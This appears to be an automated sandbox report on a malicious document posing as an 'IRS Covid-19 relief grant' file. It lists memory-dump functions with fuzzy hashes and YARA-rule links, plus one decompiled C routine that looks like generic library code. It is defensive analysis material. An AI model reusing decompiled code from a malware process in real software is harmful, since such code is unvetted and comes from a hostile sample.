Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52da63586eef093d4920d6853731d2edd752d9bbd13ecb01b6214f5c7eee472c
Instruction ID: 7fd5324e903c70f97d079c21428eb1d2a83025e7d693ec39ee85060f472d2669
Opcode Fuzzy Hash: 52da63586eef093d4920d6853731d2edd752d9bbd13ecb01b6214f5c7eee472c
Instruction Fuzzy Hash: 0A90026130100003D180716A542864A4005E7E1781F91D121E0414514CD95598566263

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9780, Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9593d29b766f107502c53bd9a5058fc19499c9fb5208aa73c1889dae21ae25b5
Instruction ID: efe307d326d3633b88253cd6170707a5ffa101904c4cfe83ea36a72d676cc10e
Opcode Fuzzy Hash: 9593d29b766f107502c53bd9a5058fc19499c9fb5208aa73c1889dae21ae25b5
Instruction Fuzzy Hash: 7990026921300003D1C0716A541864E000597D1682FD1D525E0015518CC95598696362

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9FE0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade48a1faf46ec6a24f48f1400241dee79cee41debbb7ecb19c73b9ae84b01c3
Instruction ID: 8f67b49e2ecbbeca62188b315aa23c3c41296d6fab41e9d286e1ec8d3ca15e9c
Opcode Fuzzy Hash: ade48a1faf46ec6a24f48f1400241dee79cee41debbb7ecb19c73b9ae84b01c3
Instruction Fuzzy Hash: FF90027131114403D150616A841474A000597D1681F91C521E0824518DC6D598917163

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9520, Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ff132ca0b154f5e98477d78849a3ebfc7e64906510763d021d0bad67c091674
Instruction ID: 779d5a8296376411dcfec77819d6315b1e481370ea034b17fc57e67e9719238c
Opcode Fuzzy Hash: 9ff132ca0b154f5e98477d78849a3ebfc7e64906510763d021d0bad67c091674
Instruction Fuzzy Hash: 169002E1201140934540A26A8414B4E450597E0681B91C126E1054520CC5659851A176

Uniqueness

Uniqueness Score: -1.00%

Function 1E2AAD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b43505407c2c20dde90a42aa8ce26950fd77e365da4f9c9d45d41d5c27002fb7
Instruction ID: 4e43dfc2b59d9cb454e18d9575b1d50f7ffdb4cd134aef1319c601b34f8a5e39
Opcode Fuzzy Hash: b43505407c2c20dde90a42aa8ce26950fd77e365da4f9c9d45d41d5c27002fb7
Instruction Fuzzy Hash: DC900271A05000139180716A482468A4006A7E0BC1B95C121E0514514CC9949A5563E2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65e26b608845d417eb718416cc2f738b2ebb9d9390a9ca60a46deb2062591d67
Instruction ID: 07edab07a9d356d7ec7fc03ca349fee444712a7ffff43acd8bec77c18e0ad8cd
Opcode Fuzzy Hash: 65e26b608845d417eb718416cc2f738b2ebb9d9390a9ca60a46deb2062591d67
Instruction Fuzzy Hash: 2D900265221000030185A56A061454F0445A7D67D13D1C125F1416550CC66198656362

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9540, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5f260a615e07993b2262cebe5b67656e7ea0fb67f707498be80699919ddb31
Instruction ID: 5babd26b257aa963d3ca7cdde699d50dc9d2339bcf11ec74f36bad23cb927117
Opcode Fuzzy Hash: 2a5f260a615e07993b2262cebe5b67656e7ea0fb67f707498be80699919ddb31
Instruction Fuzzy Hash: AE900265211000030145A56A071454B004697D57D1391C131F1015510CD66198616162

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A95F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82dd2dd7958fb8b4f6e6a5f7157c342c1aff7f89dc0746984f23e495c9fbbcb3
Instruction ID: eb8db500ad11d15d9fcc816daa8ce8e5d9dd708674fa1d12496d0b09e0ee0389
Opcode Fuzzy Hash: 82dd2dd7958fb8b4f6e6a5f7157c342c1aff7f89dc0746984f23e495c9fbbcb3
Instruction Fuzzy Hash: 0890027120100803D144616A48146CA000597D0781F91C121E6024615ED6A598917172

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A95D0, Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f119638be473d217dcbdb5a1c8102c5340e6468cdb75b6aa44ee4c2ace00584
Instruction ID: 5ad0557e39fa07cae67b542c8b4a4fc8fb25f6964eb8bfcb2b11b617d56719a2
Opcode Fuzzy Hash: 2f119638be473d217dcbdb5a1c8102c5340e6468cdb75b6aa44ee4c2ace00584
Instruction Fuzzy Hash: 709002A1202000034145716A442465A400A97E0681B91C131E1014550DC56598917166

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9A20, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81978c24d3bd21c81cb5695a2daaedacd1a92197917bcc5fd30d5455cc9816c
Instruction ID: ef8162a856f95cde59ec2f98cdc485defa695f717111ea1f99f84f9526217854
Opcode Fuzzy Hash: b81978c24d3bd21c81cb5695a2daaedacd1a92197917bcc5fd30d5455cc9816c
Instruction Fuzzy Hash: A3900261601000434180717A885494A4005BBE1691791C231E0998510DC599986566A6

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9A00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a444eda5c8975756f7ab425ed3fdac76759cf2a84be40112158f5e26d63dfe93
Instruction ID: 189a0df60673384b791f471cf286305842269ccd59745f18aec4605dad7cf277
Opcode Fuzzy Hash: a444eda5c8975756f7ab425ed3fdac76759cf2a84be40112158f5e26d63dfe93
Instruction Fuzzy Hash: 8590027120140403D140616A482474F000597D0782F91C121E1164515DC665985175B2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9962853a740f421d1649b6dc9f68042271a4cf21b6d109f82ee4a1d9b1704d62
Instruction ID: e36054b04d2f1291c9281a258be1a0c7619370901c402a2c795bda78309339cb
Opcode Fuzzy Hash: 9962853a740f421d1649b6dc9f68042271a4cf21b6d109f82ee4a1d9b1704d62
Instruction Fuzzy Hash: 7890027120140403D140616A481878B000597D0782F91C121E5164515EC6A5D8917572

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9A50, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b884f4e22e80e87bf5d1377a055fdf78e60e8f5bc74981fa7b7cf02045872a
Instruction ID: 3e66de946989344375fcaba3115cff85dbae8f10c9d2abd2fa6832f2e7bbc6f2
Opcode Fuzzy Hash: 87b884f4e22e80e87bf5d1377a055fdf78e60e8f5bc74981fa7b7cf02045872a
Instruction Fuzzy Hash: 5290026121180043D240657A4C24B4B000597D0783F91C225E0154514CC95598616562

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975e42afc43b2635bc3a7ba3a03005a246dab88e9988e158c479e2927a370ca0
Instruction ID: 28637362660f064b283cfebd3fe510125a4dd9450c34988af694f9519184a06f
Opcode Fuzzy Hash: 975e42afc43b2635bc3a7ba3a03005a246dab88e9988e158c479e2927a370ca0
Instruction Fuzzy Hash: 4090026120144443D180626A4814B4F410597E1682FD1C129E4156514CC95598556762

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a3537a5df2fe2dddce98b816031bd311470605a5270a9352180f21237b9c189
Instruction ID: 55c9150604503875722b1abbc8856c4b5b2181d2d6963d0657e0d4a26139683e
Opcode Fuzzy Hash: 7a3537a5df2fe2dddce98b816031bd311470605a5270a9352180f21237b9c189
Instruction Fuzzy Hash: 3F90026124100803D180716A842474B0006D7D0A81F91C121E0024514DC656996576F2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2AA3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d65f1ff8d63e9577cc3c86ec12b502c58d8a9e343474fcb93577fc8afe0148f
Instruction ID: 2e5b40d2a333133f488bf0e34a2567b52f2816a310c44494ca3528ecd59b8939
Opcode Fuzzy Hash: 5d65f1ff8d63e9577cc3c86ec12b502c58d8a9e343474fcb93577fc8afe0148f
Instruction Fuzzy Hash: A990027120144003D180716A845464F5005A7E0781F91C521E0425514CC6559856A262

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3301894f968396ed9ec673a554d6a95c862a4d83da9831b823eaf728e97c4c8c
Instruction ID: 9696bf2ee6cc0afb07a84ad88b1e09c20dc8d29cc0ef22c4ecc5d685696ab613
Opcode Fuzzy Hash: 3301894f968396ed9ec673a554d6a95c862a4d83da9831b823eaf728e97c4c8c
Instruction Fuzzy Hash: 0590027124100403D181716A441464A0009A7D06C1FD1C122E0424514EC6959A56BAA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E2AB040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df998017264b25ead46420c96112a7516273a1131bb9d9cbd64195f381fa2afd
Instruction ID: 97c8d12e08277b2090e206e628a0679486abc39d10b16d0c543c4157f1c58003
Opcode Fuzzy Hash: df998017264b25ead46420c96112a7516273a1131bb9d9cbd64195f381fa2afd
Instruction Fuzzy Hash: 2B9002A1601140434580B16A481444A5015A7E17813D1C231E0454520CC6A89855A2A6

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9840, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a714a97545a4b328babd2a77473ea3e5a72a2d42afa58aaa3461b945a453a11a
Instruction ID: 9db79a74084ebf9d49e50e3799e797d503dbaf1aac24ee99e2c9750f432e3c45
Opcode Fuzzy Hash: a714a97545a4b328babd2a77473ea3e5a72a2d42afa58aaa3461b945a453a11a
Instruction Fuzzy Hash: 68900261242041535585B16A441454B4006A7E06C17D1C122E1414910CC566A856E662

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A98A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d00007434a9c5f72c62a6489821114940e0215d117e4acbd5fb9acfe3b6d75c0
Instruction ID: a1c3af26a8aa59365ac75bdf9e2abff6c4ece36e2c94b80499b14faeb60a2912
Opcode Fuzzy Hash: d00007434a9c5f72c62a6489821114940e0215d117e4acbd5fb9acfe3b6d75c0
Instruction Fuzzy Hash: B190026130100403D142616A442464A0009D7D17C5FD1C122E1424515DC6659953B173

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A98F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636807d7468e397ff7e3fd35bd08f34919b54259f3ed52061668f4be5846b47a
Instruction ID: 5ccffb231e8e9a1ed7399d5055103ceb2ff5208b90d4c9969223e87d6a82372e
Opcode Fuzzy Hash: 636807d7468e397ff7e3fd35bd08f34919b54259f3ed52061668f4be5846b47a
Instruction Fuzzy Hash: 3090026160100503D141716A441465A000A97D06C1FD1C132E1024515ECA659992B172

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9910, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4fa9d40044e7e208d9bf22243f44cb50ee1b698bed719413ffa699e005bc9e4
Instruction ID: 558261d14578530be422361f1aaf0ae9257f3ee4ab3c0e4a3bbee78a4ec362ce
Opcode Fuzzy Hash: f4fa9d40044e7e208d9bf22243f44cb50ee1b698bed719413ffa699e005bc9e4
Instruction Fuzzy Hash: 889002B120100403D180716A441478A000597D0781F91C121E5064514EC6999DD576A6

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60a1f4c6e3703eca58cccc7fb8d53c74d5995637ed02e83a29445e3717820c52
Instruction ID: a6fe6788bb00b88dae094e463133d3e1b26f4e557dbfc288998246f1673a6852
Opcode Fuzzy Hash: 60a1f4c6e3703eca58cccc7fb8d53c74d5995637ed02e83a29445e3717820c52
Instruction Fuzzy Hash: A99002A120140403D180656A481464B000597D0782F91C121E2064515ECA699C517176

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A99A0, Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ce995c8471de63aeebbb0a6a5f409ee7c2dbc9f8b7ce9f14736de8fdbd80407
Instruction ID: eee66c89932149f5fcb0fd7ac00f2599f1a3b6750c53228adb26a5fb3b2e2ce6
Opcode Fuzzy Hash: 0ce995c8471de63aeebbb0a6a5f409ee7c2dbc9f8b7ce9f14736de8fdbd80407
Instruction Fuzzy Hash: C39002A134100443D140616A4424B4A0005D7E1781F91C125E1064514DC659DC527167

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A99D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f13abf0360ce93090ded8f65e3053e07c729c0566265ca6faf7caf1d82ad0816
Instruction ID: 6e9da3fa88ddb263905c15709bb1825d4137458cef3ee92b7b0b770bea233a64
Opcode Fuzzy Hash: f13abf0360ce93090ded8f65e3053e07c729c0566265ca6faf7caf1d82ad0816
Instruction Fuzzy Hash: 9E9002A121100043D144616A441474A004597E1681F91C122E2154514CC5699C616166

Uniqueness

Uniqueness Score: -1.00%

Function 1E2A9670, Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 563bef35216314394ba2e71a8d2dc55a90da973766cb55803c4c63edaeb2243c
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 1E29645B, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E1E29645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				char _t56;
				void* _t69;
				char _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x1e35d360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				E1E2AFA60( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E1E282280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E1E27FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x1e35b1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E1E2AB640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x1e29645b
0x1e296463
0x1e29646d
0x1e296475
0x1e29647a
0x1e29647e
0x1e296480
0x1e29648c
0x1e296490
0x1e296495
0x1e296498
0x1e29649b
0x1e29649f
0x1e2964a1
0x1e2d7c07
0x1e2d7c09
0x1e2d7c0c
0x00000000
0x1e2964a7
0x1e2964a7
0x1e2964aa
0x1e2d7bf7
0x1e2d7c00
0x00000000
0x1e2d7bf9
0x1e2d7bf9
0x1e2d7bf9
0x1e2964b0
0x1e2964b0
0x1e2964b2
0x1e2964b2
0x1e2964b3
0x1e2964ba
0x1e296553
0x1e29655e
0x1e296566
0x1e29656c
0x1e296575
0x1e29657f
0x1e296585
0x1e296588
